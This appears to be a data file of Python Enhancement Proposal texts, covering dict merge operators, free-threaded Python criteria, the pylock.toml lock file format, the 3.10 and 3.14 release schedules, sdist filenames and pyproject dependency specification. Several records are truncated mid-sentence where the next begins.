BDFL-Delegate: Guido van Rossum <guido@python.org>
Status: Final
Type: Standards Track
Created: 01-Mar-2019
Python-Version: 3.9
Post-History: 01-Mar-2019, 16-Oct-2019, 02-Dec-2019, 04-Feb-2020,
              17-Feb-2020
Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/6KT2KIOTYXMDCD2CCAOLOI7LUGTN6MBS


========
Abstract
========

This PEP proposes adding merge (``|``) and update (``|=``) operators
to the built-in ``dict`` class.

.. note::
   After this PEP was accepted, the decision was made to also
   implement the new operators for `several other standard library
   mappings <https://bugs.python.org/issue36144>`_.


==========
Motivation
==========

The current ways to merge two dicts have several disadvantages:


---------------
``dict.update``
---------------

``d1.update(d2)`` modifies ``d1`` in-place.
``e = d1.copy(); e.update(d2)`` is not an expression and needs a
temporary variable.


----------------
``{**d1, **d2}``
----------------

Dict unpacking looks ugly and is not easily discoverable.  Few people
would be able to guess what it means the first time they see it, or
think of it as the "obvious way" to merge two dicts.

`As Guido said
<https://mail.python.org/archives/list/python-ideas@python.org/message/K4IC74IXE23K4KEL7OUFK3VBC62HGGVF/>`_:

    I'm sorry for PEP 448, but even if you know about ``**d`` in
    simpler contexts, if you were to ask a typical Python user how
    to combine two dicts into a new one, I doubt many people would
    think of ``{**d1, **d2}``. I know I myself had forgotten about
    it when this thread started!

``{**d1, **d2}`` ignores the types of the mappings and always returns
a ``dict``.  ``type(d1)({**d1, **d2})`` fails for dict subclasses
such as ``defaultdict`` that have an incompatible ``__init__`` method.


------------------------
``collections.ChainMap``
------------------------

``ChainMap`` is unfortunately poorly-known and doesn't qualify as
"obvious".  It also resolves duplicate keys in the opposite order to
that expected ("first seen wins" instead of "last seen wins"). Like
dict unpacking, it is tricky to get it to honor the desired subclass.
For the same reason, ``type(d1)(ChainMap(d2, d1))`` fails for some
subclasses of dict.

Further, ChainMaps wrap their underlying dicts, so writes to the
ChainMap will modify the original dict::

      >>> d1 = {'spam': 1}
      >>> d2 = {'eggs': 2}
      >>> merged = ChainMap(d2, d1)
      >>> merged['eggs'] = 999
      >>> d2
      {'eggs': 999}


------------------
``dict(d1, **d2)``
------------------

This "neat trick" is not well-known, and only works when ``d2`` is
entirely string-keyed::

    >>> d1 = {"spam": 1}
    >>> d2 = {3665: 2}
    >>> dict(d1, **d2)
    Traceback (most recent call last):
      ...
    TypeError: keywords must be strings


=========
Rationale
=========

The new operators will have the same relationship to the
``dict.update`` method as the list concatenate (``+``) and extend
(``+=``) operators have to ``list.extend``. Note that this is
somewhat different from the relationship that ``|``/``|=`` have with
``set.update``; the authors have determined that allowing the in-place
operator to accept a wider range of types (as ``list`` does) is a more
useful design, and that restricting the types of the binary operator's
operands (again, as ``list`` does) will help avoid silent errors
caused by complicated implicit type casting on both sides.

Key conflicts will be resolved by keeping the rightmost value.  This
matches the existing behavior of similar ``dict`` operations, where
the last seen value always wins::

    {'a': 1, 'a': 2}
    {**d, **e}
    d.update(e)
    d[k] = v
    {k: v for x in (d, e) for (k, v) in x.items()}

All of the above follow the same rule.  This PEP takes the position
that this behavior is simple, obvious, usually the behavior we want,
and should be the default behavior for dicts.  This means that dict
union is not commutative; in general ``d | e != e | d``.

Similarly, the *iteration order* of the key-value pairs in the
dictionary will follow the same semantics as the examples above, with
each newly added key (and its value) being appended to the current
sequence.


=============
Specification
=============

Dict union will return a new ``dict`` consisting of the left operand
merged with the right operand, each of which must be a ``dict`` (or an
instance of a ``dict`` subclass). If a key appears in both operands,
the last-seen value (i.e. that from the right-hand operand) wins::

    >>> d = {'spam': 1, 'eggs': 2, 'cheese': 3}
    >>> e = {'cheese': 'cheddar', 'aardvark': 'Ethel'}
    >>> d | e
    {'spam': 1, 'eggs': 2, 'cheese': 'cheddar', 'aardvark': 'Ethel'}
    >>> e | d
    {'cheese': 3, 'aardvark': 'Ethel', 'spam': 1, 'eggs': 2}

The augmented assignment version operates in-place::

    >>> d |= e
    >>> d
    {'spam': 1, 'eggs': 2, 'cheese': 'cheddar', 'aardvark': 'Ethel'}

Augmented assignment behaves identically to the ``update`` method
called with a single positional argument, so it also accepts anything
implementing the Mapping protocol (more specifically, anything with
the ``keys`` and ``__getitem__`` methods) or iterables of key-value
pairs. This is analogous to ``list +=`` and ``list.extend``, which
accept any iterable, not just lists.  Continued from above::

    >>> d | [('spam', 999)]
    Traceback (most recent call last):
      ...
    TypeError: can only merge dict (not "list") to dict

    >>> d |= [('spam', 999)]
    >>> d
    {'spam': 999, 'eggs': 2, 'cheese': 'cheddar', 'aardvark': 'Ethel'}

When new keys are added, their order matches their order within the
right-hand mapping, if any exists for its type.

========================
Reference Implementation
========================

One of the authors has `written a C implementation
<https://github.com/python/cpython/pull/12088>`_.

An *approximate* pure-Python implementation is::

    def __or__(self, other):
        if not isinstance(other, dict):
            return NotImplemented
        new = dict(self)
        new.update(other)
        return new

    def __ror__(self, other):
        if not isinstance(other, dict):
            return NotImplemented
        new = dict(other)
        new.update(self)
        return new

    def __ior__(self, other):
        dict.update(self, other)
        return self


================
Major Objections
================

-----------------------------
Dict Union Is Not Commutative
-----------------------------

Union is commutative, but dict union will not be (``d | e != e | d``).


''''''''
Response
''''''''

There is precedent for non-commutative unions in Python::

    >>> {0} | {False}
    {0}
    >>> {False} | {0}
    {False}

While the results may be equal, they are distinctly different. In
general, ``a | b`` is not the same operation as ``b | a``.


------------------------------
Dict Union Will Be Inefficient
------------------------------

Giving a pipe operator to mappings is an invitation to writing code
that doesn't scale well.  Repeated dict union is inefficient:
``d | e | f | g | h`` creates and destroys three temporary mappings.


''''''''
Response
''''''''

The same argument applies to sequence concatenation.

Sequence concatenation grows with the total number of items in the
sequences, leading to O(N**2) (quadratic) performance.  Dict union is
likely to involve duplicate keys, so the temporary mappings will
not grow as fast.

Just as it is rare for people to concatenate large numbers of lists or
tuples, the authors of this PEP believe that it will be rare for
people to merge large numbers of dicts.  ``collections.Counter`` is a
dict subclass that supports many operators, and there are no known
examples of people having performance issues due to combining large
numbers of Counters.  Further, a survey of the standard library


id: pep-0779.rst
content:
PEP: 779
Title: Criteria for supported status for free-threaded Python
Author: Thomas Wouters <thomas@python.org>,
        Matt Page <mpage at python.org>,
        Sam Gross <colesbury at gmail.com>
Discussions-To: https://discuss.python.org/t/84319
Status: Draft
Type: Standards Track
Created: 13-Mar-2025
Python-Version: 3.14
Post-History: `13-Mar-2025 <https://discuss.python.org/t/84319>`__

Abstract
========

The acceptance of :pep:`703` (Making the Global Interpreter Lock Optional in
CPython), as `announced by the Steering Council
<https://discuss.python.org/t/pep-703-making-the-global-interpreter-lock-optional-in-cpython-acceptance/37075>`__,
describes three phases of development for the work to remove the Global
Interpreter Lock. Phase I started early in the development of Python 3.13,
and includes making the free-threaded (GIL-less) Python build available but
explicitly *experimental*. Phase II would make the free-threaded build
officially supported but still optional, and phase III would make the
free-threaded build the default. Because of the number of unknowns at the
time, the criteria for moving to the next phase were left deliberately vague
at the time. This PEP establishes clear expectations and requirements for
moving to Phase II, making the free-threaded Python build officially
supported.

.. note::

   Eagle-eyed readers may have noticed an overlap in authors of this PEP and
   the Steering Council at the time of PEP 703 acceptance. The SC makeup has
   since changed, but just to make it explicit: this PEP as proposed, while
   based on criteria set forth by the SC, does not come from the Steering
   Council itself.

Motivation
==========

Whether to move forward with :pep:`703` (as well as ultimately making it the
default) is a question of whether the costs outweigh the benefits. Making
free-threaded Python an officially supported build is important to signal
that we're now at a stage where the design is finalised, the APIs are usable
and stable, and we're satisfied the performance and complexity cost is not
prohibitive.

Moving to the "officially supported" stage is an important step towards
making free-threaded Python the default build, and eventually the only one.
Before we can decide we're ready to make it the default, we need a much
better picture of the costs and the benefits, and we can only get there if
more of the Python ecosystem starts supporting free-threaded Python. We
currently have enough packages and tools supporting :pep:`703` that it's
clear we're on the right path, but not enough to make the final decision. In
addition to giving the Python community time to make the changes necessary
to support free-threaded Python, we expect to use phase II to show clear
benefits in real-world applications, as well as clearly define the cost in
terms of performance, support burden, and ecosystem complexity.

Rationale
=========

In order for PEP 703 to be acceptable it should be desirable, stable,
maintainable, performant (in CPU and memory), and ideally it should have
Stable ABI so the same wheels can be used for free-threaded and with-GIL
builds.

- Desirability: from various experiments it's very clear free-threaded
  Python has tremendous potential benefit. It's not a simple drop-in
  solution -- some code will have to be redesigned to make the most of the
  new capability, as well as avoid performance pitfalls -- but it can
  achieve higher performance, significantly lower latency and new
  thread-based functionality when embraced.

- Stability: the majority of the new API design is in 3.13, and is being
  successfully used to support free-threaded Python in a number of
  third-party packages (see for example
  https://py-free-threading.github.io/tracking/). There's been some more
  development in 3.14 to add more convenience functions, and to replace
  APIs that previously relied on the GIL for thread-safety, but we have not
  had to break the 3.13 APIs for free-threaded Python.

- Maintainability: the majority of :pep:`703`'s design is relatively
  simple, with most complexity hidden away behind CPython's existing C
  APIs. The implementation details of, for example, lockless list and dict
  APIs, `which rely on QSBR <https://github.com/python/cpython/issues/115103>`_,
  and `deadlock-avoiding critical sections <https://github.com/python/cpython/issues/115103>`_,
  may be complex and difficult to get right, but gives us easy to use APIs
  without too many pitfalls. Making more of CPython free-threading-safe is
  a relatively simple process, although we do probably need more
  documentation on the basic guarantees the new APIs provide
  (https://github.com/python/cpython/issues/128642).

- Performance: the performance penalty on linear performance, comparing a
  free-threaded build against a with-GIL build, as measured by the
  pyperformance benchmarks (for example as run by `Microsoft's Faster
  CPython team <https://github.com/faster-cpython/benchmarking-public/>`_,
  or `Meta's Python Runtime team <https://github.com/facebookexperimental/free-threading-benchmarking>`_),
  is currently around 10% (except on macOS, where it's more like 3%). We
  have a few more PRs in flight that should get us comfortably below 10% on
  Linux and Windows.

- Memory use. Exact numbers vary because of the different gc module
  implementation, but free-threaded Python currently sees about 15-20%
  higher memory use (geometric mean, as measured by pyperformance). We
  haven't spent a lot of time trying to lower this yet, so we may be able to
  push this down further. Realistically, though, higher memory use is the
  cost of having efficient, safe free-threading, and we are unlikely to get
  this very close to the with-GIL build's memory use without significant
  performance cost.

- Stable ABI. Stable ABI support is mentioned by the Steering Council as a
  potential requirement for phase II. While having Stable ABI support would
  make third-party package distribution a lot easier, there's a bit of a
  chicken and egg problem: we don't know if the Stable ABI is good enough
  if we don't have packages that support free-threaded Python using it, and
  we can't remove things from the Stable ABI if we discover problems with
  them. Given that phase II is meant to give the community time to adopt
  free-threaded Python and provide feedback on APIs and ABIs, we're not
  sure how strong a requirement the Stable ABI should be for phase II.

Specification
=============

Specific criteria for making free-threaded Python officially supported
(phase II), as we propose them:

- Acceptable performance. The Steering Council mentioned they expected
  free-threaded Python to be around 10-15% slower, although this was not a
  hard target. We are currently around 10% and don't expect it to get
  slower, but for phase II (not the default flip), we propose 15% as a hard performance target.

- Acceptable memory use. This was not mentioned by the Steering Council and
  hasn't seen much discussion. We propose a target of 20% (geometric mean,
  as measured by pyperformance) for phase II. For phase III, we'll need
  input from the community as to where the trade-off between memory and CPU
  performance should end up.

- Proven, stable APIs. This is a difficult thing to measure, but we have
  seen significant adoption of free-threaded Python with the existing APIs,
  and have not had to radically change any existing APIs to accommodate
  them. We will probably end up adding some more convenience APIs for
  specific use-cases in the future, but we believe we have proven the
  viability and stability of the APIs we have. We have not needed
  breaking changes in new APIs, and we expect all future changes
  to follow :pep:`387`'s change policy.

- Internal documentation. We have multiple Core Developers working on
  free-threaded Python, including several who recently started working on
  fixing thread-safety issues in specific modules, but we probably need to
  shore up th


id: pep-0751.rst
content:
PEP: 751
Title: A file format to record Python dependencies for installation reproducibility
Author: Brett Cannon <brett@python.org>
Status: Accepted
Type: Standards Track
Topic: Packaging
Created: 24-Jul-2024
Post-History:
  `25-Jul-2024 <https://discuss.python.org/t/59173>`__
  `30-Oct-2024 <https://discuss.python.org/t/69721>`__
  `15-Jan-2025 <https://discuss.python.org/t/77293>`__
Replaces: 665
Resolution: `31-Mar-2025 <https://discuss.python.org/t/77293/150>`__

.. canonical-pypa-spec:: :ref:`pylock-toml-spec`

========
Abstract
========

This PEP proposes a new file format for specifying dependencies
to enable reproducible installation in a Python environment. The format is
designed to be human-readable and machine-generated. Installers consuming the
file should be able to calculate what to install without the need for dependency
resolution at install-time.


==========
Motivation
==========

Currently, no standard exists to create an immutable record, such as a lock
file, which specifies what direct and indirect dependencies should be installed
into a virtual environment.

Considering there are at least five well-known solutions to this problem in the
community (PDM_, ``pip freeze``, pip-tools_, Poetry_, and uv_), there seems to
be an appetite for lock files in general.

Those tools also vary in what locking scenarios they support. For instance,
``pip freeze`` and pip-tools only generate single-use lock files for the current
environment while PDM, Poetry, and uv can/try to lock for multiple environments
and use-cases at once. There's also concerns around the lack of secure defaults
in the face of supply chain attacks by some tools (e.g. including hashes for
files).

The lack of a standard also has some drawbacks. For instance, any tooling that
wants to work with lock files must choose which format to support, potentially
leaving users unsupported (e.g. Dependabot_ only supporting select tools,
same for cloud providers who can do dependency installations on your behalf,
etc.). It also impacts portability between tools, which causes vendor lock-in.
By not having compatibility and interoperability it fractures tooling around
lock files where both users and tools have to choose what lock file format to
use upfront, making it costly to use/switch to other formats (e.g. tooling
around auditing a lock file). Rallying around a single format removes this
cost/barrier.

The closest the community has to a standard are pip's `requirements files`_
which all the aforementioned tools either use directly as their file format or
export to (i.e. ``requirements.txt``). Unfortunately, the format is not a
standard but is supported by convention. It's also designed very much for pip's
needs, limiting its flexibility and ease of use (e.g. it's a bespoke file
format). Lastly, it is not secure by default (e.g. file hash support is
entirely an opt-in feature, you have to tell pip to not look for other
dependencies outside of what's in the requirements file, etc.).

.. note::

   Much of the motivation from :pep:`665` also applies to this PEP.


=========
Rationale
=========

The file format proposed by this PEP is designed to be human-readable. This is
so that the contents of the file can be audited by a human to make sure no
undesired dependencies end up being included in the lock file.

The file format is also designed to not require a resolver at install time. This
greatly simplifies reasoning about what would be installed when consuming a lock
file. It should also lead to faster installs which are much more frequent than
creating a lock file.

The data in the file should be consumable by tools not written in Python. This
allows for e.g. cloud hosting providers to write their own tool to perform
installations in their preferred programming language. This introduces the
concept of *lockers* which write the lock file, and *installers* which install
from a lock file (they can be the same tool).

The file format should promote good security defaults. As the format is not
meant to be human-writable, this means having tools provide security-related
details is reasonable and not a costly burden.

The contents of a lock file should be able to replace the vast majority of uses
of `requirements files`_ when used as a lock file (e.g. what
pip-tools_ and ``pip freeze`` emit). This means the file format specified by
this PEP can, at minimum, act as an export target for tools which have their own
internal lock file format.

Lock files can be *single-use* and *multi-use*. Single-use lock files are things
like ``requirements.txt`` files, which serve a single use-case/purpose (hence
why it isn't uncommon for a project to have multiple requirements files, each
for a different use-case). Multi-use lock files represent multiple use-cases
within a single file, often expressed through
:ref:`extras <packaging:core-metadata-provides-extra>` and
:ref:`packaging:dependency-groups`. As such, this PEP supports additions to
:ref:`packaging:dependency-specifiers-environment-markers` that allows for
specifying extras and dependency groups as appropriate. This allows
for a single lock file to support those cases. This not only cuts down on the
number of potential lock files, but it also makes it easier when a single
package is meant to be consistent across all use-cases (with multiple single-use
lock files it requires coordinating across multiple lock files). This support
also means that this PEP supports all package installation-related data that can
be recorded in a ``pyproject.toml`` file. The hope is that this support will
allow some tools to drop their internal lock file entirely and solely rely on
what this PEP specifies.


=============
Specification
=============

---------
File Name
---------

A lock file MUST be named :file:`pylock.toml` or match the regular expression
``r"^pylock\.([^.]+)\.toml$"`` if a name for the lock file is desired or if multiple
lock files exist. The use of the ``.toml`` file extension is to make syntax
highlighting in editors easier and to reinforce the fact that the file format is
meant to be human-readable. The prefix and suffix of a named file MUST be
lowercase when possible, for easy detection and removal,
e.g.:

.. code-block:: Python

  if len(filename) > 11 and filename.startswith("pylock.") and filename.endswith(".toml"):
      name = filename.removeprefix("pylock.").removesuffix(".toml")

The expectation is that services that automatically install from lock files will
search for:

1. The lock file with the service's name and doing the default install
2. A multi-use ``pylock.toml`` with a dependency group with the name of the service
3. The default install of ``pylock.toml``

E.g. a cloud host service named "spam" would first look for
``pylock.spam.toml`` to install from, and if that file didn't exist then install
from ``pylock.toml`` and look for a dependency group named "spam" to use if
present.

The lock file(s) SHOULD be located in the directory as appropriate for the scope
of the lock file. Locking against a single ``pyproject.toml``, for instance,
would place the ``pylock.toml`` in the same directory. If the lock file covered
multiple projects in a monorepo, then the expectation is the ``pylock.toml``
file would be in the directory that held all the projects being locked.


-----------
File Format
-----------

The format of the file is TOML_.

Tools SHOULD write their lock files in a consistent way to minimize noise in
diff output. Keys in tables -- including the top-level table -- SHOULD be
recorded in a consistent order (if inspiration is desired, this PEP has tried to
write down keys in a logical order). As well, tools SHOULD sort arrays in
consistent order. Usage of inline tables SHOULD also be kept consistent.

.. File details

``lock-version``
================

- **Type**: string; value of ``"1.0"``
- **Required?**: yes
- **Inspiration**: :ref:`packaging:core-metadata-metadata-version`
- Record the file format version that the file adheres 


id: pep-0745.rst
content:
PEP: 745
Title: Python 3.14 Release Schedule
Author: Hugo van Kemenade
Status: Active
Type: Informational
Topic: Release
Created: 24-Apr-2024
Python-Version: 3.14


Abstract
========

This document describes the development and release schedule for
Python 3.14.

Release Manager and Crew
========================

- 3.14 Release Manager: Hugo van Kemenade
- Windows installers: Steve Dower
- Mac installers: Ned Deily
- Documentation: Julien Palard


Release Schedule
================

3.14.0 schedule
---------------

The dates below use a 17-month development period that results
in a 12-month release cadence between feature versions, as defined by
:pep:`602`.

Actual:

- 3.14 development begins: Wednesday, 2024-05-08
- 3.14.0 alpha 1: Tuesday, 2024-10-15
- 3.14.0 alpha 2: Tuesday, 2024-11-19
- 3.14.0 alpha 3: Tuesday, 2024-12-17
- 3.14.0 alpha 4: Tuesday, 2025-01-14
- 3.14.0 alpha 5: Tuesday, 2025-02-11
- 3.14.0 alpha 6: Friday, 2025-03-14
- 3.14.0 alpha 7: Tuesday, 2025-04-08
- 3.14.0 beta 1: Wednesday, 2025-05-07
  (No new features beyond this point.)

Expected:

- 3.14.0 beta 2: Tuesday, 2025-05-27
- 3.14.0 beta 3: Tuesday, 2025-06-17
- 3.14.0 beta 4: Tuesday, 2025-07-08
- 3.14.0 candidate 1: Tuesday, 2025-07-22
- 3.14.0 candidate 2: Tuesday, 2025-08-26
- 3.14.0 final: Tuesday, 2025-10-07

Subsequent bugfix releases every two months.


3.14 lifespan
-------------

Python 3.14 will receive bugfix updates approximately every two months for
approximately 24 months. Around the time of the release of 3.16.0 final, the
final 3.14 bugfix update will be released. After that, it is expected that
security updates (source only) will be released until five years after the
release of 3.14.0 final, so until approximately October 2030.


Copyright
=========

This document is placed in the public domain or under the
CC0-1.0-Universal license, whichever is more permissive.


id: pep-0619.rst
content:
PEP: 619
Title: Python 3.10 Release Schedule
Author: Pablo Galindo Salgado <pablogsal@python.org>
Status: Active
Type: Informational
Topic: Release
Created: 25-May-2020
Python-Version: 3.10


Abstract
========

This document describes the development and release schedule for
Python 3.10.  The schedule primarily concerns itself with PEP-sized
items.

.. Small features may be added up to the first beta
   release.  Bugs may be fixed until the final release,
   which is planned for October 2021.

Release Manager and Crew
========================
- 3.10 Release Manager: Pablo Galindo Salgado
- Windows installers: Steve Dower
- Mac installers: Ned Deily
- Documentation: Julien Palard


Release Schedule
================

3.10.0 schedule
---------------

Note: the dates below use a 17-month development period that results
in a 12-month release cadence between feature versions, as defined by
:pep:`602`.

Actual:

- 3.10 development begins: Monday, 2020-05-18
- 3.10.0 alpha 1: Monday, 2020-10-05
- 3.10.0 alpha 2: Tuesday, 2020-11-03
- 3.10.0 alpha 3: Monday, 2020-12-07
- 3.10.0 alpha 4: Monday, 2021-01-04
- 3.10.0 alpha 5: Wednesday, 2021-02-03
- 3.10.0 alpha 6: Monday, 2021-03-01
- 3.10.0 alpha 7: Tuesday, 2021-04-06
- 3.10.0 beta 1: Monday, 2021-05-03
  (No new features beyond this point.)
- 3.10.0 beta 2: Monday, 2021-05-31
- 3.10.0 beta 3: Thursday, 2021-06-17
- 3.10.0 beta 4: Saturday, 2021-07-10
- 3.10.0 candidate 1: Tuesday, 2021-08-03
- 3.10.0 candidate 2: Tuesday, 2021-09-07
- 3.10.0 final: Monday, 2021-10-04

Bugfix releases
---------------

Actual:

- 3.10.1: Monday, 2021-12-06
- 3.10.2: Friday, 2022-01-14
- 3.10.3: Wednesday, 2022-03-16
- 3.10.4: Thursday, 2022-03-24
- 3.10.5: Monday, 2022-06-06
- 3.10.6: Tuesday, 2022-08-02
- 3.10.7: Tuesday, 2022-09-06
- 3.10.8: Tuesday, 2022-10-11
- 3.10.9: Tuesday, 2022-12-06
- 3.10.10: Wednesday, 2023-02-08
- 3.10.11: Wednesday, 2023-04-05 (final regular bugfix release with binary
  installers)

Source-only security fix releases
---------------------------------

Provided irregularly on an "as-needed" basis until October 2026.

- 3.10.12: Tuesday, 2023-06-06
- 3.10.13: Thursday, 2023-08-24
- 3.10.14: Tuesday, 2024-03-19
- 3.10.15: Saturday, 2024-09-07
- 3.10.16: Tuesday, 2024-12-03
- 3.10.17: Tuesday, 2025-04-08

3.10 Lifespan
-------------

3.10 received bugfix updates approximately every 2 months for
approximately 18 months.  Some time after the release of 3.11.0 final,
the 11th and final 3.10 bugfix update was released.  After that,
it is expected that security updates (source only) will be released
until 5 years after the release of 3.10 final, so until approximately
October 2026.


Features for 3.10
=================

Some of the notable features of Python 3.10 include:

* :pep:`604`, Allow writing union types as ``X | Y``
* :pep:`612`, Parameter Specification Variables
* :pep:`613`, Explicit Type Aliases
* :pep:`618`, Add Optional Length-Checking To ``zip``
* :pep:`626`, Precise line numbers for debugging and other tools
* :pep:`634`, :pep:`635`, :pep:`636`, Structural Pattern Matching
* :pep:`644`, Require OpenSSL 1.1.1 or newer
* :pep:`624`, Remove Py_UNICODE encoder APIs
* :pep:`597`, Add optional EncodingWarning


Copyright
=========

This document has been placed in the public domain.


id: pep-0625.rst
content:
PEP: 625
Title: Filename of a Source Distribution
Author: Tzu-ping Chung <uranusjr@gmail.com>,
        Paul Moore <p.f.moore@gmail.com>
PEP-Delegate: Pradyun Gedam <pradyunsg@gmail.com>
Discussions-To: https://discuss.python.org/t/draft-pep-file-name-of-a-source-distribution/4686
Status: Final
Type: Standards Track
Topic: Packaging
Created: 08-Jul-2020
Post-History: 08-Jul-2020
Resolution: https://discuss.python.org/t/pep-625-file-name-of-a-source-distribution/4686/159

.. canonical-pypa-spec:: :ref:`packaging:source-distribution-format-sdist`

Abstract
========

This PEP describes a standard naming scheme for a Source Distribution, also
known as an *sdist*. An sdist is distinct from an arbitrary archive file
containing source code of Python packages, and can be used to communicate
information about the distribution to packaging tools.

A standard sdist specified here is a gzipped tar file with a specially
formatted filename and the usual ``.tar.gz`` suffix. This PEP does not specify
the contents of the tarball, as that is covered in other specifications.

Motivation
==========

An sdist is a Python package distribution that contains "source code" of the
Python package, and requires a build step to be turned into a wheel on
installation. This format is often considered as an unbuilt counterpart of a
:pep:`427` wheel, and given special treatments in various parts of the
packaging ecosystem.

The content of an sdist is specified in :pep:`517` and :pep:`643`, but currently
the filename of the sdist is incompletely specified, meaning that consumers
of the format must download and process the sdist to confirm the name and
version of the distribution included within.

Installers currently rely on heuristics to infer the name and/or version from
the filename, to help the installation process. pip, for example, parses the
filename of an sdist from a :pep:`503` index, to obtain the distribution's
project name and version for dependency resolution purposes. But due to the
lack of specification, the installer does not have any guarantee as to the
correctness of the inferred data, and must verify it at some point by locally
building the distribution metadata.

This build step is awkward for a certain class of operations, when the user
does not expect the build process to occur. `pypa/pip#8387`_ describes an
example. The command ``pip download --no-deps --no-binary=numpy numpy`` is
expected to only download an sdist for numpy, since we do not need to check
for dependencies, and both the name and version are available by introspecting
the downloaded filename. pip, however, cannot assume the downloaded archive
follows the convention, and must build and check the metadata. For a :pep:`518`
project, this means running the ``prepare_metadata_for_build_wheel`` hook
specified in :pep:`517`, which incurs significant overhead.


Rationale
=========

By creating a special filename scheme for the sdist format, this PEP frees up
tools from the time-consuming metadata verification step when they only need
the metadata available in the filename.

This PEP also serves as the formal specification to the long-standing
filename convention used by the current sdist implementations. The filename
contains the distribution name and version, to aid tools identifying a
distribution without needing to download, unarchive the file, and perform
costly metadata generation for introspection, if all the information they need
is available in the filename.


Specification
=============

The name of an sdist should be ``{distribution}-{version}.tar.gz``.

* ``distribution`` is the name of the distribution as defined in :pep:`345`,
  and normalised as described in `the wheel spec`_ e.g. ``'pip'``,
  ``'flit_core'``.
* ``version`` is the version of the distribution as defined in :pep:`440`,
  e.g. ``20.2``, and normalised according to the rules in that PEP.

An sdist must be a gzipped tar archive in pax format, that is able to be
extracted by the standard library ``tarfile`` module with the open flag
``'r:gz'``.

Code that produces an sdist file MUST give the file a name that matches this
specification. The specification of the ``build_sdist`` hook from :pep:`517` is
extended to require this naming convention.

Code that processes sdist files MAY determine the distribution name and version
by simply parsing the filename, and is not required to verify that information
by generating or reading the metadata from the sdist contents.

Conforming sdist files can be recognised by the presence of the ``.tar.gz``
suffix and a *single* hyphen in the filename. Note that some legacy files may
also match these criteria, but this is not expected to be an issue in practice.
See the "Backwards Compatibility" section of this document for more details.


Backwards Compatibility
=======================

The new filename scheme is a subset of the current informal naming
convention for sdist files, so tools that create or publish files conforming
to this standard will be readable by older tools that only understand the
previous naming conventions.

Tools that consume sdist filenames would technically not be able to determine
whether a file is using the new standard or a legacy form. However, a review
of the filenames on PyPI determined that 37% of files are obviously legacy
(because they contain multiple or no hyphens) and of the remainder, parsing
according to this PEP gives the correct answer in all but 0.004% of cases.

Currently, tools that consume sdists should, if they are to be fully correct,
treat the name and version parsed from the filename as provisional, and verify
them by downloading the file and generating the actual metadata (or reading it,
if the sdist conforms to :pep:`643`). Tools supporting this specification can
treat the name and version from the filename as definitive. In theory, this
could risk mistakes if a legacy filename is assumed to conform to this PEP,
but in practice the chance of this appears to be vanishingly small.


Rejected Ideas
==============

Rely on the specification for sdist metadata
--------------------------------------------

Since this PEP was first written, :pep:`643` has been accepted, defining a
trustworthy, standard sdist metadata format. This allows distribution metadata
(and in particular name and version) to be determined statically.

This is not considered sufficient, however, as in a number of significant
cases (for example, reading filenames from a package index) the application
only has access to the filename, and reading metadata would involve a
potentially costly download.

Use a dedicated file extension
------------------------------

The original version of this PEP proposed a filename of
``{distribution}-{version}.sdist``. This has the advantage of being explicit,
as well as allowing a future change to the storage format without needing a
further change of the file naming convention.

However, there are significant compatibility issues with a new extension. Index
servers may currently disallow unknown extensions, and if we introduced a new
one, it is not clear how to handle cases like a legacy index trying to mirror an
index that hosts new-style sdists. Is it acceptable to only partially mirror,
omitting sdists for newer versions of projects? Also, build backends that produce
the new format would be incompaible with index servers that only accept the old
format, and as there is often no way for a user to request an older version of a
backend when doing a build, this could make it impossible to build and upload
sdists.

Augment a currently common sdist naming scheme
----------------------------------------------

A scheme ``{distribution}-{version}.sdist.tar.gz`` was raised during the
initial discussion. This was abandoned due to backwards compatibility issues
with currently available installation tools. pip 20.1, for example, would
parse ``distribution-1.0.sdist.tar.gz`` as project ``distribution`` with
version ``1.0.sdist``. This would cause the sdist to 


id: pep-0631.rst
content:
PEP: 631
Title: Dependency specification in pyproject.toml based on PEP 508
Author: Ofek Lev <ofekmeister@gmail.com>
Sponsor: Paul Ganssle <paul@ganssle.io>
Discussions-To: https://discuss.python.org/t/5018
Status: Superseded
Type: Standards Track
Topic: Packaging
Created: 20-Aug-2020
Post-History: 20-Aug-2020
Superseded-By: 621
Resolution: https://discuss.python.org/t/how-to-specify-dependencies-pep-508-strings-or-a-table-in-toml/5243/38

Abstract
========

This PEP specifies how to write a project's dependencies in a
``pyproject.toml`` file for packaging-related tools to consume
using the :pep:`fields defined in PEP 621 <621#dependencies-optional-dependencies>`.

.. note::
    This PEP has been accepted and was merged into :pep:`621`.

Entries
=======

All dependency entries MUST be valid :pep:`PEP 508 strings <508>`.

Build backends SHOULD abort at load time for any parsing errors.

::

    from packaging.requirements import InvalidRequirement, Requirement

    ...

    try:
        Requirement(entry)
    except InvalidRequirement:
        # exit

Specification
=============

dependencies
------------

- Format: array of strings
- Related core metadata:

  - `Requires-Dist`_

Every element MUST be an `entry <#entries>`_.

::

    [project]
    dependencies = [
      'PyYAML ~= 5.0',
      'requests[security] < 3',
      'subprocess32; python_version < "3.2"',
    ]

optional-dependencies
---------------------

- Format: table
- Related core metadata:

  - `Provides-Extra`_
  - `Requires-Dist`_

Each key is the name of the provided option, with each value being the same type as
the `dependencies <#dependencies>`_ field i.e. an array of strings.

::

    [project.optional-dependencies]
    tests = [
      'coverage>=5.0.3',
      'pytest',
      'pytest-benchmark[histogram]>=3.2.1',
    ]

Example
=======

This is a real-world example port of what `docker-compose`_ defines.

::

    [project]
    dependencies = [
      'cached-property >= 1.2.0, < 2',
      'distro >= 1.5.0, < 2',
      'docker[ssh] >= 4.2.2, < 5',
      'dockerpty >= 0.4.1, < 1',
      'docopt >= 0.6.1, < 1',
      'jsonschema >= 2.5.1, < 4',
      'PyYAML >= 3.10, < 6',
      'python-dotenv >= 0.13.0, < 1',
      'requests >= 2.20.0, < 3',
      'texttable >= 0.9.0, < 2',
      'websocket-client >= 0.32.0, < 1',

      # Conditional
      'backports.shutil_get_terminal_size == 1.0.0; python_version < "3.3"',
      'backports.ssl_match_hostname >= 3.5, < 4; python_version < "3.5"',
      'colorama >= 0.4, < 1; sys_platform == "win32"',
      'enum34 >= 1.0.4, < 2; python_version < "3.4"',
      'ipaddress >= 1.0.16, < 2; python_version < "3.3"',
      'subprocess32 >= 3.5.4, < 4; python_version < "3.2"',
    ]

    [project.optional-dependencies]
    socks = [ 'PySocks >= 1.5.6, != 1.5.7, < 2' ]
    tests = [
      'ddt >= 1.2.2, < 2',
      'pytest < 6',
      'mock >= 1.0.1, < 4; python_version < "3.4"',
    ]

Implementation
==============

Parsing
-------

::

    from packaging.requirements import InvalidRequirement, Requirement

    def parse_dependencies(config):
        dependencies = config.get('dependencies', [])
